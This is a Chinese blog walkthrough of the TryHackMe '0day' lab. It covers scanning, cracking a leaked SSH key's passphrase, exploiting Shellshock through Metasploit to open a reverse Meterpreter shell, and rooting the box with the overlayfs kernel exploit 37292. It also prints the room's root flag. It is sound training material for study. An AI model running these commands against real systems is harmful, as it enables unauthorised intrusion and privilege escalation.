美文网首页
【Tryhackme】0day（shellshock，内核漏洞提

【Tryhackme】0day（shellshock，内核漏洞提

作者: 天线锅仔 | 来源:发表于2021-10-21 17:16 被阅读0次

    免责声明

    本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。

    服务扫描

    ┌──(root💀kali)-[~/tryhackme/0day]
└─# nmap -sV  -Pn -A -O  10.10.209.66                                                                                                                                                                                                 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-21 03:52 EDT
Nmap scan report for 10.10.209.66
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 57:20:82:3c:62:aa:8f:42:23:c0:b8:93:99:6f:49:9c (DSA)
|   2048 4c:40:db:32:64:0d:11:0c:ef:4f:b8:5b:73:9b:c7:6b (RSA)
|   256 f7:6f:78:d5:83:52:a6:4d:da:21:3c:55:47:b7:2d:6d (ECDSA)
|_  256 a5:b4:f0:84:b6:a7:8d:eb:0a:9d:3e:74:37:33:65:16 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0day
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 5.4 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    开启了ssh和http服务

    爆破目录

    ┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100  -u http://10.10.209.66        

 _|. _ _  _  _  _ _|_    v0.3.8                                                                                                                                                                                                             
(_||| _) (/_(_|| (_| )                                                                                                                                                                                                                      
                                                                                                                                                                                                                                            
Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 6100

Error Log: /root/dirsearch/logs/errors-21-10-21_04-07-47.log

Target: http://10.10.209.66                                                                                                                                                                                                                 
                                                                                                                                                                                                                                            
[04:07:48] Starting: 
[04:07:53] 301 -  311B  - /admin  ->  http://10.10.209.66/admin/                 
[04:07:54] 200 -    0B  - /admin/                 
[04:07:54] 403 -  294B  - /admin/.htaccess
[04:07:54] 200 -    0B  - /admin/?/login         
[04:07:54] 200 -    0B  - /admin/index.html                                                                 
[04:07:57] 301 -  312B  - /backup  ->  http://10.10.209.66/backup/                                                
[04:07:57] 200 -    2KB - /backup/                                    
[04:07:58] 403 -  287B  - /cgi-bin/                                     
[04:07:58] 301 -  313B  - /cgi-bin  ->  http://10.10.209.66/cgi-bin/
[04:07:58] 200 -   13B  - /cgi-bin/test.cgi          
[04:07:59] 301 -  309B  - /css  ->  http://10.10.209.66/css/                   
[04:08:02] 301 -  309B  - /img  ->  http://10.10.209.66/img/                                          
[04:08:02] 200 -    3KB - /index.html                                                                          
[04:08:02] 301 -  308B  - /js  ->  http://10.10.209.66/js/                                              
[04:08:07] 200 -   38B  - /robots.txt                                                          
[04:08:07] 301 -  312B  - /secret  ->  http://10.10.209.66/secret/                                      
[04:08:07] 200 -  109B  - /secret/
[04:08:07] 403 -  292B  - /server-status       
[04:08:07] 403 -  293B  - /server-status/
[04:08:09] 200 -    0B  - /uploads/                                                                               
[04:08:09] 301 -  313B  - /uploads  ->  http://10.10.209.66/uploads/

    在/robots.txt页面受到了作者的嘲讽

    You really thought it'd be this easy?

    在/backup/目录下找到一个ssh 私钥文件，下载到本地用ssh2john破解得到私钥密码

    ┌──(root💀kali)-[~/tryhackme/0day]
└─# /usr/share/john/ssh2john.py id_rsa >rsacrack
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/0day]
└─# ls             
id_rsa  rsacrack
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/0day]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt rsacrack 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (id_rsa)
1g 0:00:00:42 66.85% (ETA: 03:20:21) 0.02373g/s 227710p/s 227710c/s 227710C/s blackcurrent00..blackcow15
Session aborted

    私钥密码是：letmein

    所以用户名是什么？找了一圈没找到，难道是兔子洞？

    用nikto挖掘网站漏洞

    ┌──(root💀kali)-[~/tryhackme/0day]
└─# nikto -h http://10.10.209.66                   
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.209.66
+ Target Hostname:    10.10.209.66
+ Target Port:        80
+ Start Time:         2021-10-21 03:54:16 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server may leak inodes via ETags, header found with file /, inode: bd1, size: 5ae57bb9a1192, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Uncommon header '93e4r0-cve-2014-6271' found, with contents: true
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /backup/: This might be interesting...
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3092: /cgi-bin/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.

    发现/cgi-bin/test.cgi很可能存在shellshock漏洞（版本号CVE-2014-6278）

    攻击

    在msf里搜索这个漏洞

    msf6 > search shellshock 2014-6278

Matching Modules
================

   #  Name                                             Disclosure Date  Rank       Check  Description
   -  ----                                             ---------------  ----       -----  -----------
   0  auxiliary/scanner/http/apache_mod_cgi_bash_env   2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   1  exploit/multi/http/apache_mod_cgi_bash_env_exec  2014-09-24       excellent  Yes    Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
   2  exploit/multi/http/cups_bash_env_exec            2014-09-24       excellent  Yes    CUPS Filter Bash Environment Variable Code Injection (Shellshock)

    选择探测模块scanner/http/apache_mod_cgi_bash_env

    msf6 auxiliary(scanner/http/apache_mod_cgi_bash_env) > set targeturi /cgi-bin/test.cgi
targeturi => /cgi-bin/test.cgi
msf6 auxiliary(scanner/http/apache_mod_cgi_bash_env) > run

[+] uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

    探测成功了！

    再次选择攻击模块multi/http/apache_mod_cgi_bash_env_exec

    msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/test.cgi
targeturi => /cgi-bin/test.cgi
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run

[*] Started reverse TCP handler on 10.13.21.169:4444 
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (980808 bytes) to 10.10.209.66
[*] Meterpreter session 1 opened (10.13.21.169:4444 -> 10.10.209.66:33088) at 2021-10-21 04:23:00 -0400

meterpreter > shell
Process 1057 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data

    成功拿到初始shell

    在/home/ryan拿到user.txt

    提权

    查看系统版本

    uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

    这个是一个比较老的linux版本了，因此我们从内核提权的思路出发

    把内核枚举脚本（内核提权枚举脚本推荐linux-exploit-suggester.sh）通过msf传到靶机，枚举内核提权信息，这里列举三个highly probable的提权脚本一个个尝试

    [+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2015-1328] overlayfs

   Details: http://seclists.org/oss-sec/2015/q2/717
   Exposure: highly probable
   Tags: [ ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic} ],ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic}
   Download URL: https://www.exploit-db.com/download/37292

    最后37292这个脚本证实可以提权成功

    上传脚本到靶机

    meterpreter > upload /root/tryhackme/0day/37292.c ./37292.c
[*] uploading  : /root/tryhackme/0day/37292.c -> ./37292.c
[*] Uploaded -1.00 B of 5.00 KiB (-0.02%): /root/tryhackme/0day/37292.c -> ./37292.c
[*] uploaded   : /root/tryhackme/0day/37292.c -> ./37292.c
meterpreter > shell
Process 6979 created.
Channel 12 created.
ls
37292.c
40611.c
bLMlC
dirtyc0w
foo
l.txt
les.sh

    在靶机上编译、执行这个攻击脚本。拿到root flag

    gcc 37292.c  -o ofs
ls
37292.c
40611.c
bLMlC
dirtyc0w
foo
l.txt
les.sh
ofs
chmod +x ofs
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cat /root/root.txt
THM{g00d_j0b_0day_is_Pleased}

    相关文章

      网友评论

          本文标题：【Tryhackme】0day（shellshock，内核漏洞提

          本文链接：https://www.haomeiwen.com/subject/syzfaltx.html

          延伸阅读

          深度阅读

          • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

          栏目导航

          热点阅读

          关于我们|服务条款|联系我们|【Tryhackme】0day（shellshock，内核漏洞提|投稿指南|网站地图|RSS订阅|排版工具|手机版

          提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

          Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

          备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

          本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

          所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！